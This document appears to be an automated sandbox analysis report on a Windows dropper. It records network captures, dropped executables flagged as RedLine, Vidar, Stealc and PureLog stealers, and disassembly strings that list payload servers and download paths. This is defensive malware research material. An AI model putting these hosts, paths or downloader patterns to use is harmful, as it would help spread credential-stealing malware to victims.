Apr 23, 2024 09:38:09.827786922 CEST	1289	IN	Data Raw: 00 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 05 56 61 6c 75 65 02 00 02 00 3e 00 78 ea 40 00 11 41 6c 6c 6f 63 53 74 72 69 6e 67 41 73 41 6e 73 69 03 00 9c 27 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 Data Ascii: SelfValue>x@AllocStringAsAnsi'@Self@StrP@AllocStringAsAnsi'@Self@Str@CodePageA@AllocStringAsUnicode'@Self@Str<l@A
Apr 23, 2024 09:38:10.031939030 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 9c 27 40 00 01 00 03 50 74 72 02 00 02 b8 12 40 00 02 00 05 56 61 6c 75 65 02 00 00 9c 10 40 00 0c 00 0f 4d 61 78 43 68 61 72 73 49 6e 63 4e 75 6c 6c 02 00 00 cc 10 40 00 08 00 08 43 6f 64 65 50 61 67 65 Data Ascii: Self'@Ptr@Value@MaxCharsIncNull@CodePages@WriteStringAsAnsiSelf'@PtrT@Ofs@Value@MaxCharsIncNull@WriteStringAsAnsiS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	20.157.87.45	80	6956	C:\Users\user\AppData\Local\Temp\u5e0.3.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:38:16.220928907 CEST	266	OUT	POST /__svc/sbv/DownloadManager.ashx HTTP/1.0 Connection: keep-alive Content-Length: 300 Host: svc.iolo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library)
Apr 23, 2024 09:38:16.423794031 CEST	300	OUT	Data Raw: 2f 65 5a 42 73 2b 42 6c 51 46 58 71 30 59 64 4b 4f 31 72 57 47 6b 67 6a 65 44 4b 4a 4a 32 7a 4e 41 34 53 38 48 69 44 55 4c 56 41 66 46 76 61 45 49 51 2b 2f 6c 33 6e 69 78 46 78 62 4d 79 2b 36 32 6f 73 72 64 32 2b 64 57 65 6e 6f 6b 77 76 6c 48 62 Data Ascii: /eZBs+BlQFXq0YdKO1rWGkgjeDKJJ2zNA4S8HiDULVAfFvaEIQ+/l3nixFxbMy+62osrd2+dWenokwvlHbQ3q8eV0Qx+sRVrwIuOdpxbCQ6/gpdrdPc0dPp2yFiTtXpXLFc20MMPt736DHHnFUtB8RByJnUp0u2/VdqgLICfLL1rJJAjFmZqgUei5EZzhfnEiR5dqfQ3Z0YLnFtVOWwMFg4lvwpMiNrtOx5Ld+YvOlUKSq2A7tC
Apr 23, 2024 09:38:16.629878044 CEST	469	IN	HTTP/1.1 200 OK cache-control: private content-length: 256 content-type: text/html; charset=utf-8 x-whom: Ioloweb6 date: Tue, 23 Apr 2024 07:38:05 GMT set-cookie: SERVERID=svc6; path=/ connection: close Data Raw: 31 33 32 62 68 5a 33 4d 56 38 47 36 64 71 53 38 4c 68 46 6d 33 71 59 50 6f 4a 44 73 46 59 47 5a 70 75 54 32 2b 37 36 66 6f 6e 75 4b 30 71 57 64 75 67 30 6b 30 70 75 48 51 4a 2f 66 61 70 67 77 74 64 4f 58 51 72 79 6c 55 6c 2f 68 70 6c 34 34 77 75 67 69 4f 32 2f 4b 6d 7a 6f 53 4c 72 54 45 55 6f 48 62 4d 42 42 67 31 47 54 69 4e 4e 32 63 6d 75 6d 50 77 44 71 31 6d 6a 77 55 37 4e 53 74 5a 6b 6c 61 2b 58 79 47 77 54 6e 78 65 43 69 2b 4e 4d 45 63 47 70 31 32 65 33 6f 70 53 41 39 50 4a 46 62 53 5a 36 38 53 45 41 4c 54 76 7a 4f 7a 30 53 30 42 6a 6f 4c 65 42 30 6a 63 5a 36 45 54 63 6f 77 4e 31 2f 58 32 4b 70 7a 78 31 48 54 4c 69 70 4b 4b 76 30 54 52 58 32 6b 49 67 44 35 52 30 6c 4d 6b 61 4c 6b 6c 6d 7a 6c 6f 54 64 4c 47 7a 35 6c 79 45 65 4a 6e 66 79 53 76 79 4d 66 32 Data Ascii: 132bhZ3MV8G6dqS8LhFm3qYPoJDsFYGZpuT2+76fonuK0qWdug0k0puHQJ/fapgwtdOXQrylUl/hpl44wugiO2/KmzoSLrTEUoHbMBBg1GTiNN2cmumPwDq1mjwU7NStZkla+XyGwTnxeCi+NMEcGp12e3opSA9PJFbSZ68SEALTvzOz0S0BjoLeB0jcZ6ETcowN1/X2Kpzx1HTLipKKv0TRX2kIgD5R0lMkaLklmzloTdLGz5lyEeJnfySvyMf2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	20.157.87.45	80	6956	C:\Users\user\AppData\Local\Temp\u5e0.3.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 09:38:29.130285978 CEST	266	OUT	POST /__svc/sbv/DownloadManager.ashx HTTP/1.0 Connection: keep-alive Content-Length: 300 Host: svc.iolo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library)
Apr 23, 2024 09:38:29.333115101 CEST	300	OUT	Data Raw: 2f 65 5a 42 73 2b 42 6c 51 46 58 71 30 59 64 4b 4f 31 72 57 47 6b 67 6a 65 44 4b 4a 4a 32 7a 4e 41 34 53 38 48 69 44 55 4c 56 41 74 69 53 56 57 6f 48 52 30 44 67 2b 47 4d 38 61 53 79 38 54 4c 32 6f 73 72 64 32 2b 64 57 65 6e 6f 6b 77 76 6c 48 62 Data Ascii: /eZBs+BlQFXq0YdKO1rWGkgjeDKJJ2zNA4S8HiDULVAtiSVWoHR0Dg+GM8aSy8TL2osrd2+dWenokwvlHbQ3q8eV0Qx+sRVrwIuOdpxbCQ6/gpdrdPc0dPp2yFiTtXpXLFc20MMPt736DHHnFUtB8RByJnUp0u2/VdqgLICfLL1rJJAjFmZqgUei5EZzhfnEiR5dqfQ3Z0YLnFtVOWwMFg4lvwpMiNrtOx5Ld+YvOlUKSq2A7tC
Apr 23, 2024 09:38:29.537754059 CEST	405	IN	HTTP/1.1 200 OK cache-control: private content-length: 192 content-type: text/html; charset=utf-8 x-whom: Ioloweb4 date: Tue, 23 Apr 2024 07:38:18 GMT set-cookie: SERVERID=svc4; path=/ connection: close Data Raw: 39 76 37 59 43 62 54 6a 68 53 4f 54 65 7a 71 52 74 42 41 38 44 61 46 35 46 43 52 49 72 4c 62 32 49 6c 78 6c 34 38 6a 4b 61 69 32 6d 65 6d 45 6e 73 33 69 48 76 54 35 4c 2b 48 33 43 49 6c 49 68 4f 6f 33 44 5a 35 33 6d 6c 6a 61 38 4b 42 32 59 45 49 73 2f 6a 31 50 54 39 36 78 49 73 73 61 66 69 37 62 44 69 4d 64 6b 2f 49 41 58 37 55 4a 75 55 59 31 35 61 38 31 67 4d 75 75 46 5a 4c 41 54 67 2b 42 39 62 35 69 4b 57 33 77 6f 49 4f 50 6c 6f 49 59 4a 45 65 78 30 33 62 6f 4c 51 68 4f 49 70 2b 4f 45 77 34 6a 52 4c 48 75 52 75 35 62 44 2b 34 61 49 49 42 63 42 43 43 69 6d 2b 6b 4e 53 Data Ascii: 9v7YCbTjhSOTezqRtBA8DaF5FCRIrLb2Ilxl48jKai2memEns3iHvT5L+H3CIlIhOo3DZ53mlja8KB2YEIs/j1PT96xIssafi7bDiMdk/IAX7UJuUY15a81gMuuFZLATg+B9b5iKW3woIOPloIYJEex03boLQhOIp+OEw4jRLHuRu5bD+4aIIBcBCCim+kNS

Target ID:	0
Start time:	09:37:54
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\H6ohQMZygb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H6ohQMZygb.exe"
Imagebase:	0x400000
File size:	435'713 bytes
MD5 hash:	12F1DC2D004DA9525ABE233313A1AA67
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000003.1825340881.00000000059E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:38:00
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u5e0.0.exe"
Imagebase:	0x400000
File size:	336'384 bytes
MD5 hash:	65A31455A497CAEE44C5AA749C50E40B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.2121192347.00000000041DC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:38:08
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe"
Imagebase:	0xff0000
File size:	2'469'924 bytes
MD5 hash:	817EA35F043D663CBA3B81EE02880D34
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:38:13
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\Temp\u5e0.3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u5e0.3.exe"
Imagebase:	0x400000
File size:	4'866'096 bytes
MD5 hash:	397926927BCA55BE4A77839B1C44DE6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000004.00000000.1824422172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe, Author: Joe Security
Antivirus matches:	Detection: 4%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:38:14
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6984 -s 1128
Imagebase:	0xee0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:38:30
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
Imagebase:	0x28f1fbe0000
File size:	59'721'128 bytes
MD5 hash:	8E9C467EAC35B35DA1F586014F29C330
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000000.1987937645.0000028F1FC1B000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:38:40
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 2248
Imagebase:	0xee0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	2.6%
Signature Coverage:	10.9%
Total number of Nodes:	1304
Total number of Limit Nodes:	21

Executed Functions

Function 00424CD0 Relevance: 55.5, APIs: 1, Strings: 30, Instructions: 1238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00429DDA: __EH_prolog.LIBCMT ref: 00429DDF

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00440EF4), ref: 00424D97

Part of subcall function 004260D8: __EH_prolog.LIBCMT ref: 004260DD
Part of subcall function 004260D8: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004261BF

Strings

three, xrefs: 00424E40, 00424E6E, 0042505A
six, xrefs: 00424F0C, 00424F22, 0042506F
eight, xrefs: 00424F8C, 00424FBA, 0042507D
P, xrefs: 004259AD
/cpa/ping.php?substr=%s&s=ab&sub=%s, xrefs: 004250A2, 00425238, 0042524F
185.172.128.228, xrefs: 00425DCD, 00425E79, 00425F7E
/BroomSetup.exe, xrefs: 00425E93, 00425F39, 00425F87
ten, xrefs: 00425018, 0042502E, 0042508B
fgh5err456ytf, xrefs: 00425C49, 00425CD7, 00425DA0
/ping.php?substr=%s, xrefs: 00425659, 0042572F, 00425747
SOFTWARE\BroomCleaner, xrefs: 004253DB, 004254CF
sub=([\w-]{1,255}), xrefs: 00424D64
Installed, xrefs: 004254E9, 00425547
/1/Package.zip, xrefs: 00425B29, 00425BC3, 00425D2F
four, xrefs: 00424E8C, 00424EAE, 00425061
185.172.128.228, xrefs: 00425592, 00425638, 004257B7
P, xrefs: 00425F8F
five, xrefs: 00424ECC, 00424EEE, 00425068
185.172.128.90, xrefs: 0042529D, 00425337, 00425385
run.exe, xrefs: 00425BE4, 00425C2A, 00425DA5
nine, xrefs: 00424FD8, 00424FFA, 00425084
/syncUpd.exe, xrefs: 004258C9, 0042594B, 004259A5
P, xrefs: 004257C7
P, xrefs: 00425D37
note.padd.cn.com, xrefs: 00425A57, 00425B0F, 00425D26
one, xrefs: 00424DD6, 00424DEC, 00425050
P, xrefs: 00425395
two, xrefs: 00424E0C, 00424E22, 00425053
seven, xrefs: 00424F40, 00424F6E, 00425076
185.172.128.59, xrefs: 0042580E, 004258A8, 0042599C

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: H_prolog$FileIos_base_dtorModuleNamestd::ios_base::_
String ID: /1/Package.zip$/BroomSetup.exe$/cpa/ping.php?substr=%s&s=ab&sub=%s$/ping.php?substr=%s$/syncUpd.exe$185.172.128.228$185.172.128.228$185.172.128.59$185.172.128.90$Installed$P$P$P$P$P$SOFTWARE\BroomCleaner$eight$fgh5err456ytf$five$four$nine$note.padd.cn.com$one$run.exe$seven$six$sub=([\w-]{1,255})$ten$three$two
API String ID: 2531350358-391817150
Opcode ID: 267d03191bef261943c315f7e8bf0a6046739da909f666f9adad6739e1818846
Instruction ID: 8b151ea8dd97439d56c53c59a216c3736cdff6e0097414ad4477e03727ae9bb9
Opcode Fuzzy Hash: 267d03191bef261943c315f7e8bf0a6046739da909f666f9adad6739e1818846
Instruction Fuzzy Hash: 8DA2211450A2E19AC712FBB5581658A2FE45B63309F645C7FE7D02F2A3C97C822CC79E

Uniqueness

Uniqueness Score: -1.00%

Function 00429F8A Relevance: 50.1, APIs: 16, Strings: 12, Instructions: 1148
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00429F8F
WSAStartup.WS2_32(00000202,?), ref: 0042AC1B
socket.WS2_32(00000002,00000001,00000006), ref: 0042AC31
WSACleanup.WS2_32 ref: 0042AC4B
gethostbyname.WS2_32(00000000), ref: 0042AC5F
htons.WS2_32(?), ref: 0042AC91
connect.WS2_32(00000000,?,00000010), ref: 0042ACA2
send.WS2_32(00000000,00000000,00000000,00000000), ref: 0042ACC5
send.WS2_32(00000000,00000000,?,00000000), ref: 0042ACE1
recv.WS2_32(00000000,00000000,00000001,00000000), ref: 0042AD21
recv.WS2_32(?,00000000,00000001,00000000), ref: 0042AE9F
recv.WS2_32(?,?,00000000,00000000), ref: 0042AF3E
recv.WS2_32(?,0000000A,00000002,00000000), ref: 0042AF65
recv.WS2_32(00000000,?,?,00000000), ref: 0042AFC6
WSACleanup.WS2_32 ref: 0042B004
closesocket.WS2_32(?), ref: 0042B00B

Strings

Host: , xrefs: 0042A410, 0042A44A, 0042A461
HTTP/1.1, xrefs: 0042A37C, 0042A3DA, 0042A3F1
185.172.128.90, xrefs: 00429F9B
Transfer-Encoding, xrefs: 0042A129, 0042A1E7, 0042AE05
GET , xrefs: 0042A313, 0042A335, 0042A34F
POST , xrefs: 0042A2C5, 0042A2F3, 0042A357
Content-Length, xrefs: 0042A071, 0042A10B, 0042ADC9
HTTP/1.1 200 OK, xrefs: 00429FAB, 0042A058, 0042AD69
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 , xrefs: 0042A53C, 0042A80A, 0042A821
User-Agent: , xrefs: 0042A491, 0042A513, 0042A52A
chunked, xrefs: 0042A205, 0042A24B, 0042AE16
(KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36, xrefs: 0042A833, 0042AAB9, 0042AAD0

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: recv$Cleanupsend$H_prologStartupclosesocketconnectgethostbynamehtonssocket
String ID: HTTP/1.1$(KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36$185.172.128.90$Content-Length$GET $HTTP/1.1 200 OK$Host: $Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 $POST $Transfer-Encoding$User-Agent: $chunked
API String ID: 791229064-1222584043
Opcode ID: 27dbe9010d20d91a478364bde14c459567a90b0b68aaa7a5aa2c96564e3f9019
Instruction ID: 900a92ede5be16b2c3117050d2d08ce2f1c0c6c6ce4e0105e192991151e6fb0c
Opcode Fuzzy Hash: 27dbe9010d20d91a478364bde14c459567a90b0b68aaa7a5aa2c96564e3f9019
Instruction Fuzzy Hash: 5B92C5149062E19ACB22FFB5685609E7FF41A2330D714547FEA906F3A3CA7C825C875E

Uniqueness

Uniqueness Score: -1.00%

Function 0042667D Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 375
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042784A: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00427607,00000002,00000000,00000000,00000000,?,004274B2,00000140,00000000,00000000), ref: 0042787D

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0042694A

Strings

\../, xrefs: 00426818
/..\, xrefs: 0042683A
/../, xrefs: 00426829
\..\, xrefs: 00426802

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: File$Time$LocalPointer
String ID: /../$/..\$\../$\..\
API String ID: 1325250898-3885502717
Opcode ID: 7cc3fd0dc150aca4576bfde766815d8f02436377eea2a7e88678c5f3d2c19998
Instruction ID: afa296ccbfbe3768d4e7dccb606300550da1c09ea122b537091b2e2ced6d3174
Opcode Fuzzy Hash: 7cc3fd0dc150aca4576bfde766815d8f02436377eea2a7e88678c5f3d2c19998
Instruction Fuzzy Hash: 75E15971E042658BCB15CF28D4806EABFF0BF45304FA5856FD499DB342C779A942CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00413B77 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000003,?,00413B4D,00000003,0043D770,0000000C,00413CA4,00000003,00000002,00000000,?,00412CFB,00000003), ref: 00413B98
TerminateProcess.KERNEL32(00000000,?,00413B4D,00000003,0043D770,0000000C,00413CA4,00000003,00000002,00000000,?,00412CFB,00000003), ref: 00413B9F
ExitProcess.KERNEL32 ref: 00413BB1

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c3238ba4349e22148297b51e772f0d5dcb5e34eb697bf684f66df5aa1d9a9f15
Instruction ID: 33891ddfcbf9b07dd53c0856cb19492bf32177dd48378cc6c21df4758e8cda96
Opcode Fuzzy Hash: c3238ba4349e22148297b51e772f0d5dcb5e34eb697bf684f66df5aa1d9a9f15
Instruction Fuzzy Hash: 38E04F31104508EFCF216F54CC4A9993B29EB40382B404025F80856133EB3DEE92CF48

Uniqueness

Uniqueness Score: -1.00%

Function 02EF8196 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02EF81BE
Module32First.KERNEL32(00000000,00000224), ref: 02EF81DE

Memory Dump Source

Source File: 00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp, Offset: 02EF7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ef7000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 33c77deae55afed81de2e85a934e16cce2fd428f82e617ab79bf0f6b31ff0db3
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EDF0C2366407106BD7607AF4988CB6B77ECBF49628F105228E746A20C0DB70E8054A60

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4FB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A1C9: CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041A1E6

GetLastError.KERNEL32 ref: 0041A60F
__dosmaperr.LIBCMT ref: 0041A616
GetFileType.KERNEL32(00000000), ref: 0041A622
GetLastError.KERNEL32 ref: 0041A62C
__dosmaperr.LIBCMT ref: 0041A635
CloseHandle.KERNEL32(00000000), ref: 0041A655
CloseHandle.KERNEL32(?), ref: 0041A79F
GetLastError.KERNEL32 ref: 0041A7D1
__dosmaperr.LIBCMT ref: 0041A7D8

Strings

H, xrefs: 0041A75D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 580fc4bcf55e3455d64a3ac44a1acd322ddb429a1d8ef820f5d71a659513c2ef
Instruction ID: c157a89d8e5f2fe931d1632a1ebeecbc119cacfe9810b15cfecdc4fa79ad403a
Opcode Fuzzy Hash: 580fc4bcf55e3455d64a3ac44a1acd322ddb429a1d8ef820f5d71a659513c2ef
Instruction Fuzzy Hash: D5A13832A041049FDF19DF68DC917EE7BA1AB06324F14015EE851EB391D7398DA3CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042636D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 186
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0042647E
wsprintfA.USER32 ref: 0042649D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000010,00000000), ref: 004264CC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0042653E
SetFileTime.KERNEL32(?,?,?,?), ref: 00426578
CloseHandle.KERNEL32(?), ref: 00426588

Strings

:, xrefs: 0042645A
%s%s%s, xrefs: 00426478
%s%s, xrefs: 00426497

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: File$wsprintf$CloseCreateHandleTimeWrite
String ID: %s%s$%s%s%s$:
API String ID: 1593831391-3034790606
Opcode ID: b7b37efbd33db215fede7d8d6c77438b45907fbb7496c04d43c447724b08c981
Instruction ID: d38f2e3be6caf04d2dcecc0f36892d2c8c2bbb51256ca39df18b9e06ac00f7ae
Opcode Fuzzy Hash: b7b37efbd33db215fede7d8d6c77438b45907fbb7496c04d43c447724b08c981
Instruction Fuzzy Hash: 4D615B70700228ABCB25DF14F884BEA77A9AF04304F9504AFE59A87281D7789D86CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041943D Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9025e8f5a807ae99dc70105a8d93e2b21a71ec405430f9b50d5b140aea43eb13
Instruction ID: 951c449c2f8be493e06fc8a4c4172d4e6315affd0254ce80c424499909452a03
Opcode Fuzzy Hash: 9025e8f5a807ae99dc70105a8d93e2b21a71ec405430f9b50d5b140aea43eb13
Instruction Fuzzy Hash: D0C12A74E04245EFDB11CFA8D860BEEBBB0BF0A314F14415AE854A7382C7789D81CB69

Uniqueness

Uniqueness Score: -1.00%

Function 02E0003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02E0024D

Strings

